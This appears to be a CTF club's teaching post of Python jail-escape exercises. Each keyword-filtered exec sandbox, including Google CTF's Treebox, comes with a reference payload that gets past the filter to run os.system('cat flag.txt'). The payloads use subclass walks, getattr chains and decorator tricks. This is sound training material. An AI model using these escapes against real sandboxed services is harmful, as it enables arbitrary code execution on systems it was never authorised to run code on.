At our weekly meetings we had a talk about Python jail escapes, aka. getting around restrictions that make it hard to execute os.system('cat flag.txt'). In the talk we went through challenges, that we present here as exercises to practice. Starting very simple and then digging more and more into python internals.

Solve them yourself, by copying the script and providing input that executes os.system('cat flag.txt'). Afterwards you can compare your solution to the one we had in mind, there are always different ways. For some reference solutions it is relevant to mention, that we used Python 3.11.2.

Learning about Python Jail Escapes it is helpful to ask questions like:

  • How are modules and classes implemented in Python?
  • What are frozen modules?
  • How does syntactic sugar get replaced? You may start at import something or array[5].
  • How many ways are there to call a function/method other than lmao()/lm.oa()?

Happens way too often

import string

code = input('Your scientific computation: ')

code = ''.join([c for c in code if c in string.printable])

forbidden = ['eval', 'exec', 'import', 'open', 'system', 'os', 'builtins']
for f in forbidden:
    code = code.replace(f, '')
exec(code)
Reference Solution No need for recursivity. This is Python not Haskell. imosport ooss; ooss.sysostem('cat flag.txt')

Correct, or jail

code = input('Your scientific computation: ')
code = ''.join([c for c in code if c in string.printable])
for keyword in ['eval', 'exec', 'import', 'open', 'system', 'os', 'builtins']:
    if keyword in code:
        print('You are jailed!')
        break
else:
    exec(code)
Reference Solution There is a `for/else` in Python???!!? Ah, and obviously: globals()['__built'+ 'ins__'].__dict__['__im' + 'port__']('o' + 's').__dict__['sys' + 'tem']('cat flag.txt')

Only causing trouble

import string

code = input('Your scientific computation: ')
code = ''.join([c for c in code if c in string.printable])
for keyword in ['eval', 'exec', 'import', 'open',
                'system', 'os', 'builtins', '+']:
    if keyword in code:
        print('You are jailed!', keyword)
        break
else:
    exec(code, {'__builtins__': {}})
Reference Solution Based solution: ().__class__.__base__.__subclasses__()[140].__init__.__globals__[''.join(['sy', 'stem'])]('cat flag.txt')

Ahhhhhhhhhh, no more fun for you

import string

code = input('Your scientific computation: ')
code = ''.join([c for c in code if c in string.printable])
for keyword in ['eval', 'exec', 'import', 'open',
                'system', 'os', 'builtins', '+', '"', "'"]:
    if keyword in code:
        print('You are jailed!', keyword)
        break
else:
    exec(code, {'__builtins__': {}})
Reference Solution Are there simpler solutions to construct a string? Yes. Does this one get you the flag? Also, yes. So why are you asking? ().__class__.__base__.__subclasses__()[140].__init__.__globals__[().__str__()[:0].join([i.to_bytes().decode() for i in [115, 121, 115, 116, 101, 109]])](().__str__()[:0].join([i.to_bytes().decode() for i in [99, 97, 116, 32, 102, 108, 97, 103, 46, 116, 120, 116]]))

Now it is over, isn’t it?

code = input('Your scientific computation: ')
code = ''.join([c for c in code if c in string.printable])
for keyword in ['eval', 'exec', 'import', 'open', 'system', 'os', 'builtins',
                '.', '[', ']']:
    if keyword in code:
        print('You are jailed!', keyword)
        break
else:
    exec(code)
Reference Solution It is not over until you remove `getattr`: getattr(getattr(getattr(globals(), 'get')('__bu' + 'iltins__'), '__imp' + 'ort__')('o' + 's'), 'sys' + 'tem')('cat flag?txt')

Treebox

From Google Capture The Flag 2022

import ast
import sys
import os

def verify_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call):
        print(f"ERROR: Banned statement {x}")
        return False
  return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
  line = sys.stdin.readline()
  if line.startswith("--END"):
    break
  source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree):  # Safe to execute!
  print("-- Executing safe code:")
  compiled = compile(source_code, "input.py", 'exec')
  exec(compiled)
Reference Solution Our solution, specifically the solution of Benedikt, looked something along the lines of: class NotACall(Exception): __add__ = exec try: raise NotACall except NotACall as e: e + 'import os; os.system("cat flag.txt");exit(0)' --END

Treebox is no match for Robin

This a modified version of the treebox challenge, here to point out a particular way to solve the challenge.

import ast
import sys
import os

def verify_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call):
        print(f"ERROR: Banned statement {x}")
        return False
  return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
  line = sys.stdin.readline()
  ### Begin: Additional restriction
  if '(' in line or ')' in line:
        print("ERROR: Parentheses are not allowed")
        exit(1)
   ### End: Additional restriction
  if line.startswith("--END"):
    break
  source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree):  # Safe to execute!
  print("-- Executing safe code:")
  compiled = compile(source_code, "input.py", 'exec')
  exec(compiled)
else:
    print("ERROR: Code is not safe")
    exit(1)
Reference Solution Also, no match for Robin, we yet have to find anything that is. Solution by Robin Jadoul: # https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @input class X: pass --END